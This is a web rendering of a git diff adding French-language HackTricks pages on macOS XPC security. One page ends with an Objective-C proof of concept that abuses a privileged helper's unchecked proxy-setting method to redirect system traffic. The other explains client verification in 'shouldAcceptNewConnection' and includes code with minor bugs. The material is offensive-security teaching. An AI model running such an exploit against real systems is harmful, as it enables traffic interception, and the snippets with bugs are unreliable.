* Une connexion au service XPC
|
||||||
|
* Un appel à la fonction si la connexion a réussi
|
||||||
|
```objectivec
|
||||||
|
// gcc -framework Foundation -framework Security expl.m -o expl
|
||||||
|
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
#import <Security/Security.h>
|
||||||
|
|
||||||
|
// Define a unique service name for the XPC helper
|
||||||
|
static NSString* XPCServiceName = @"com.example.XPCHelper";
|
||||||
|
|
||||||
|
// Define the protocol for the helper tool
|
||||||
|
@protocol XPCHelperProtocol
|
||||||
|
- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;
|
||||||
|
- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;
|
||||||
|
- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;
|
||||||
|
- (void)fetchVersionWithReply:(void (^)(NSString *))callback;
|
||||||
|
- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;
|
||||||
|
@end
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
NSData *authData;
|
||||||
|
OSStatus status;
|
||||||
|
AuthorizationExternalForm authForm;
|
||||||
|
AuthorizationRef authReference = {0};
|
||||||
|
NSString *proxyAddress = @"127.0.0.1";
|
||||||
|
NSString *proxyPort = @"4444";
|
||||||
|
Boolean isProxyEnabled = true;
|
||||||
|
|
||||||
|
// Create an empty authorization reference
|
||||||
|
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);
|
||||||
|
const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
|
||||||
|
NSLog(@"OSStatus: %s", errorMsg);
|
||||||
|
|
||||||
|
// Convert the authorization reference to an external form
|
||||||
|
if (status == errAuthorizationSuccess) {
|
||||||
|
status = AuthorizationMakeExternalForm(authReference, &authForm);
|
||||||
|
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
|
||||||
|
NSLog(@"OSStatus: %s", errorMsg);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Convert the external form to NSData for transmission
|
||||||
|
if (status == errAuthorizationSuccess) {
|
||||||
|
authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];
|
||||||
|
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
|
||||||
|
NSLog(@"OSStatus: %s", errorMsg);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ensure the authorization was successful
|
||||||
|
assert(status == errAuthorizationSuccess);
|
||||||
|
|
||||||
|
// Establish an XPC connection
|
||||||
|
NSString *serviceName = XPCServiceName;
|
||||||
|
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];
|
||||||
|
NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];
|
||||||
|
[xpcConnection setRemoteObjectInterface:xpcInterface];
|
||||||
|
[xpcConnection resume];
|
||||||
|
|
||||||
|
// Handle errors for the XPC connection
|
||||||
|
id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {
|
||||||
|
NSLog(@"[-] Connection error");
|
||||||
|
NSLog(@"[-] Error: %@", error);
|
||||||
|
}];
|
||||||
|
|
||||||
|
// Log the remote proxy and connection objects
|
||||||
|
NSLog(@"Remote Proxy: %@", remoteProxy);
|
||||||
|
NSLog(@"XPC Connection: %@", xpcConnection);
|
||||||
|
|
||||||
|
// Use the legacy method to configure the proxy
|
||||||
|
[remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {
|
||||||
|
NSLog(@"Response: %@", error);
|
||||||
|
}];
|
||||||
|
|
||||||
|
// Allow some time for the operation to complete
|
||||||
|
[NSThread sleepForTimeInterval:10.0f];
|
||||||
|
|
||||||
|
NSLog(@"Finished!");
|
||||||
|
}
|
||||||
|
```
|
||||||
|
## Références
|
||||||
|
|
||||||
|
* [https://theevilbit.github.io/posts/secure\_coding\_xpc\_part1/](https://theevilbit.github.io/posts/secure\_coding\_xpc\_part1/)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,109 @@
|
||||||
|
# Vérification de la connexion des processus XPC
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Vérification de la connexion des processus XPC
|
||||||
|
|
||||||
|
Lorsqu'une connexion est établie vers un service XPC, le serveur vérifie si la connexion est autorisée. Voici les vérifications qu'il effectue généralement :
|
||||||
|
|
||||||
|
1. Vérifier si le **processus connectant est signé avec un certificat signé par Apple** (uniquement délivré par Apple).
|
||||||
|
* Si cela **n'est pas vérifié**, un attaquant peut créer un **faux certificat** pour correspondre à toute autre vérification.
|
||||||
|
2. Vérifier si le processus connectant est signé avec le **certificat de l'organisation** (vérification de l'ID de l'équipe).
|
||||||
|
* Si cela **n'est pas vérifié**, **n'importe quel certificat de développeur** d'Apple peut être utilisé pour la signature et la connexion au service.
|
||||||
|
3. Vérifier si le processus connectant **contient un ID de bundle approprié**.
|
||||||
|
* Si cela **n'est pas vérifié**, n'importe quel outil **signé par la même organisation** pourrait être utilisé pour interagir avec le service XPC.
|
||||||
|
4. (4 ou 5) Vérifier si le processus connectant a un **numéro de version logicielle approprié**.
|
||||||
|
* Si cela **n'est pas vérifié**, des clients anciens et non sécurisés, vulnérables à l'injection de processus, pourraient être utilisés pour se connecter au service XPC même avec les autres vérifications en place.
|
||||||
|
5. (4 ou 5) Vérifier si le processus connectant a un runtime renforcé sans autorisations dangereuses (comme celles qui permettent de charger des bibliothèques arbitraires ou d'utiliser des variables d'environnement DYLD).
|
||||||
|
1. Si cela **n'est pas vérifié**, le client pourrait être **vulnérable à l'injection de code**.
|
||||||
|
6. Vérifier si le processus connectant possède une **autorisation** qui lui permet de se connecter au service. Cela s'applique aux binaires Apple.
|
||||||
|
7. La **vérification** doit être **basée** sur le **jeton d'audit du client connectant** plutôt que sur son ID de processus (**PID**), car cela empêche les attaques de réutilisation de PID.
|
||||||
|
* Les développeurs utilisent rarement l'appel d'API du jeton d'audit car il est **privé**, donc Apple pourrait le **modifier** à tout moment. De plus, l'utilisation d'API privées n'est pas autorisée dans les applications du Mac App Store.
|
||||||
|
|
||||||
|
Pour plus d'informations sur l'attaque de réutilisation de PID, consultez :
|
||||||
|
|
||||||
|
{% content-ref url="../../../mac-os-architecture/macos-ipc-inter-process-communication/macos-pid-reuse.md" %}
|
||||||
|
[macos-pid-reuse.md](../../../mac-os-architecture/macos-ipc-inter-process-communication/macos-pid-reuse.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
### Trustcache - Prévention des attaques de rétrogradation
|
||||||
|
|
||||||
|
Trustcache est une méthode de défense introduite dans les machines Apple Silicon qui stocke une base de données de CDHSAH des binaires Apple, de sorte que seuls les binaires non modifiés autorisés peuvent être exécutés. Cela empêche l'exécution de versions rétrogradées.
|
||||||
|
|
||||||
|
### Exemples de code
|
||||||
|
|
||||||
|
Le serveur implémentera cette **vérification** dans une fonction appelée **`shouldAcceptNewConnection`**.
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```objectivec
|
||||||
|
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
|
||||||
|
//Check connection
|
||||||
|
return YES;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
L'objet NSXPCConnection possède une propriété **privée** appelée **`auditToken`** (celle qui devrait être utilisée mais qui pourrait changer) et une propriété **publique** appelée **`processIdentifier`** (celle qui ne devrait pas être utilisée).
|
||||||
|
|
||||||
|
Le processus de connexion peut être vérifié avec quelque chose comme :
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```objectivec
|
||||||
|
[...]
|
||||||
|
SecRequirementRef requirementRef = NULL;
|
||||||
|
NSString requirementString = @"anchor apple generic and identifier \"xyz.hacktricks.service\" and certificate leaf [subject.CN] = \"TEAMID\" and info [CFBundleShortVersionString] >= \"1.0\"";
|
||||||
|
/* Check:
|
||||||
|
- Signed by a cert signed by Apple
|
||||||
|
- Check the bundle ID
|
||||||
|
- Check the TEAMID of the signing cert
|
||||||
|
- Check the version used
|
||||||
|
*/
|
||||||
|
|
||||||
|
// Check the requirements with the PID (vulnerable)
|
||||||
|
SecRequirementCreateWithString(requirementString, kSecCSDefaultFlags, &requirementRef);
|
||||||
|
SecCodeCheckValidity(code, kSecCSDefaultFlags, requirementRef);
|
||||||
|
|
||||||
|
// Check the requirements wuing the auditToken (secure)
|
||||||
|
SecTaskRef taskRef = SecTaskCreateWithAuditToken(NULL, ((ExtendedNSXPCConnection*)newConnection).auditToken);
|
||||||
|
SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString))
|
||||||
|
```
|
||||||
|
Si un développeur ne souhaite pas vérifier la version du client, il peut au moins vérifier que le client n'est pas vulnérable à l'injection de processus :
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```objectivec
|
||||||
|
[...]
|
||||||
|
CFDictionaryRef csInfo = NULL;
|
||||||
|
SecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo);
|
||||||
|
uint32_t csFlags = [((__bridge NSDictionary *)csInfo)[(__bridge NSString *)kSecCodeInfoStatus] intValue];
|
||||||
|
const uint32_t cs_hard = 0x100; // don't load invalid page.
|
||||||
|
const uint32_t cs_kill = 0x200; // Kill process if page is invalid
|
||||||
|
const uint32_t cs_restrict = 0x800; // Prevent debugging
|
||||||
|
const uint32_t cs_require_lv = 0x2000; // Library Validation
|
||||||
|
const uint32_t cs_runtime = 0x10000; // hardened runtime
|
||||||
|
if ((csFlags & (cs_hard | cs_require_lv)) {
|
||||||
|
return Yes; // Accept connection
|
||||||
|
}
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
Loading…
Reference in a new issue